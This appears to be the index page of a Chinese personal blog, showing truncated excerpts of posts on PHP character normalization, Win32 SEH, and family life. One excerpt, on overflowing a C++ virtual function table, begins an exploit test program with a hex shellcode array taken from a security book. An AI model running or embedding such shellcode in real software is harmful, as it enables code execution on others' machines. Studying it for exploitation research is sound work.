PHP处理特殊字符比对

2020-9-18 流沙 PHP

0x01 处理需求: 第一组:空格替换为去掉,有小空格和大空格都要去掉; 第二组:—和-; 第三组:大小括号替换,统一成小括号。()() 第四组:斜杠替换,/替换/。 第五组:【替换为[,】替换为]。 第六组:英文字母大小写替换。 第七组:回车符、切换符替换为去掉。 将这些特殊字符处理后,再进行数据比对,判断是否合格 0x02 代码实现 实现思路,  读出特殊字符的二进制码, 然后针对二进制码,进行数据处理 <?php $keyword = '11 12 22...

阅读全文>>

评论(0) 浏览(28)


溢出 C++的虚函数表

2020-9-8 流沙 C/C++

代码来源0day书籍, 需要自行修改测试地址 测试代码 #include <windows.h> #include <iostream.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64...

阅读全文>>

评论(0) 浏览(154)


[转载]A Crash Course on the Depths of Win32 Structured Exception Handling windows的异常处理机制

2020-9-8 流沙 驱动开发

在Win32的核心, 结构化异常处理(Structured Exception Handling)(SEH) 是操作系统提供的一种服务. 你能找到的所有关于SEH的文档都会描述某一种编译器的运行时库(runtime library)对操作系统实现的某种包装. 我会层层剥析SEH一直到它的最基本的概念.   这篇文章假设你熟悉Win32,C++   文章示例代码: Exception.zip 在所有由Win32操作系统提供的基础设施中, 可能被最广泛应用却没有文档说明的就是结构化异常处理了. ...

阅读全文>>

评论(0) 浏览(53)


等待宝宝的降生

2020-9-5 流沙 随笔

0x01 近况 老婆怀孕已经6个多月了, 一直在家休息, 今年5月份搬家以后, 一直住在这边, 她挺喜欢这里的. 她不想回家,希望一直呆在上海. 前期三个月,挺担心她的, 体重直线下滑, 收了十几斤. 现在慢慢补回来了, 每天的胃口不错.  0x02 宝宝 确定是个鼠宝宝, 疫情在家的意外之喜. 这段时间一直都是正常体检, 再过段时间, 要把母亲接过来了, 她一个人在家, 就有些不方便了. 十一放假处理房产证的事情, 到时候跟家里人商量下吧. 0x03 收入 去年九月份开始入职现在这家公司, 相比...

阅读全文>>

评论(0) 浏览(117)


Powered by 流沙团

备案号:鄂ICP备15017378号-1